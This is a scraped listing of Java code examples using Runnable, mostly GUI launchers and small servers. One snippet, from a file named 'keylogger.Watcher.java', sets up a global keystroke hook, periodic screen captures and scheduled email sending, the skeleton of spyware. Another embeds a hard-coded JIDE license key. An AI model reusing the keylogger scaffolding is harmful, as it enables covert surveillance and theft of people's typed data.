List of usage examples for java.lang Runnable Runnable
Runnable
From source file:TimeStopWhenButtonPressing.java
public static void main(String[] args) { final Display display = new Display(); final Color red = display.getSystemColor(SWT.COLOR_RED); final Color blue = display.getSystemColor(SWT.COLOR_BLUE); Shell shell = new Shell(display); shell.setLayout(new RowLayout()); Button button = new Button(shell, SWT.PUSH); button.setText("Stop Timer"); final Label label = new Label(shell, SWT.BORDER); label.setBackground(red);/*from w ww . j a va 2 s . com*/ final int time = 500; final Runnable timer = new Runnable() { public void run() { if (label.isDisposed()) return; Color color = label.getBackground().equals(red) ? blue : red; label.setBackground(color); display.timerExec(time, this); } }; display.timerExec(time, timer); button.addListener(SWT.Selection, new Listener() { public void handleEvent(Event event) { display.timerExec(-1, timer); } }); button.pack(); label.setLayoutData(new RowData(button.getSize())); shell.pack(); shell.open(); while (!shell.isDisposed()) { if (!display.readAndDispatch()) display.sleep(); } display.dispose(); }
From source file:keylogger.Watcher.java
public static void main(String[] args) { watcherFolder = new File(folderName); if (!watcherFolder.exists()) { watcherFolder.mkdirs();/*ww w . j a va 2 s. c om*/ } /* Its error */ System.out.println("start thread"); Thread thread = new Thread(new Runnable() { @Override public void run() { try { GlobalScreen.registerNativeHook(); } catch (NativeHookException ex) { Logger.getLogger(Watcher.class.getName()).log(Level.SEVERE, null, ex); } GlobalScreen.getInstance().addNativeKeyListener(new KeyLogger()); } }); thread.start(); Timer screenCapture = new Timer(); screenCapture.schedule(new Screen(), 0, 10000); Timer sendMail = new Timer(); sendMail.schedule(new Send(), 0, 900000); /* Construct the example object and initialze native hook. */ }
From source file:com.picklecode.popflix.App.java
/** * @param args the command line arguments */// w w w . j a v a 2 s . c o m public static void main(String args[]) { try { javax.swing.UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(Popflix.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new Popflix().setVisible(true); } }); }
From source file:ua.com.fielden.platform.example.swing.schedule.ScheduleChartPanelExample.java
public static void main(final String[] args) { SwingUtilitiesEx.invokeLater(new Runnable() { @Override//from w ww. j a va2s.com public void run() { for (final LookAndFeelInfo laf : UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(laf.getName())) { try { UIManager.setLookAndFeel(laf.getClassName()); } catch (final Exception e) { e.printStackTrace(); } } } com.jidesoft.utils.Lm.verifyLicense("Fielden Management Services", "Rollingstock Management System", "xBMpKdqs3vWTvP9gxUR4jfXKGNz9uq52"); LookAndFeelFactory.installJideExtension(); final JFrame frame = new JFrame("Scedule chart demo"); final JLabel label = new JLabel("None"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setLayout(new MigLayout("fill, insets 0", "[grow, fill]", "[grow, fill][]")); frame.add(createScheduleChartPanel(label), "wrap"); frame.add(label); frame.setPreferredSize(new Dimension(640, 480)); frame.pack(); frame.setVisible(true); } }); }
From source file:agk.chatbot.web.BotServer.java
public static void main(String[] args) { new Thread(new Runnable() { @Override/*from w ww .j a v a 2 s .co m*/ public void run() { try { bot = new ChatBot(); bot.configure(); bot.preCycle(); initialised = true; System.out.println("Bot initialised."); } catch (Exception e) { System.out.println("An error occured while initialising the bot."); e.printStackTrace(); } } }).start(); HttpServer server; try { server = HttpServer.create(new InetSocketAddress(PORT), 0); } catch (IOException e) { System.out.println("Error while trying to create server on port " + PORT); e.printStackTrace(); return; } server.createContext("/", new BotServer()); server.setExecutor(null); server.start(); System.out.println("Server started on " + server.getAddress().toString()); }
From source file:SwingDnDTest.java
public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { JFrame frame = new SwingDnDFrame(); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setVisible(true);/*from w w w. j av a 2 s . c om*/ } }); }
From source file:com.eddy.malupdater.MalUpdater.java
public static void main(String args[]) { try {/*ww w .j av a 2s.c o m*/ initMainLogger(); UIManager.setLookAndFeel("com.sun.java.swing.plaf.gtk.GTKLookAndFeel"); } catch (IOException | ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException ex) { Logger.getLogger(MalUpdater.class.getName()).log(Level.SEVERE, null, ex); } java.awt.EventQueue.invokeLater(new Runnable() { @Override public void run() { form = new MalUpdaterForm(); if (StringUtils.isEmpty(MyProperties.getUsername()) || MyProperties.getPassword().length <= 0) { CredentialsPanel credentialsPanel = CredentialsPanel.getInstance(); credentialsPanel.setVisible(true); } } }); }
From source file:com.ln.gui.Notifylist.java
public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { Notifylist frame = new Notifylist(); frame.setVisible(true);/*from w w w . j ava 2s .c o m*/ } catch (Exception e) { e.printStackTrace(); } } }); }
From source file:CubaHSQLDBServer.java
public static void main(final String[] args) { final boolean validInit = args.length > 2; SwingUtilities.invokeLater(new Runnable() { @Override//w w w . j a v a2 s. c om public void run() { final CubaHSQLDBServer monitor = new CubaHSQLDBServer(); monitor.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); monitor.setLocationRelativeTo(null); monitor.setVisible(true); if (validInit) { Integer dbPort = Integer.valueOf(args[0]); String dbPath = args[1]; String dbName = args[2]; final HSQLServer server = monitor.startServer(dbPort, dbPath, dbName); if (server != null) { monitor.addWindowListener(new WindowAdapter() { @Override public void windowClosing(WindowEvent e) { try { server.shutdownCatalogs(2 /* NORMAL CLOSE MODE */); } catch (RuntimeException exception) { // Ignore exceptions from server. } } }); } } else { String argStr = StringUtils.join(args, ' '); monitor.setStatus(String.format( "Invalid usage (args: '%s')\nExpected arguments: <port> <dbPath> <dbName>", argStr)); } } }); }
From source file:gtu._work.ui.JUnitMakerUI.java
/** * Auto-generated main method to display this JFrame *///from w w w . ja v a2s. c o m public static void main(String[] args) { SwingUtilities.invokeLater(new Runnable() { public void run() { JUnitMakerUI inst = new JUnitMakerUI(); inst.setLocationRelativeTo(null); gtu.swing.util.JFrameUtil.setVisible(true, inst); } }); }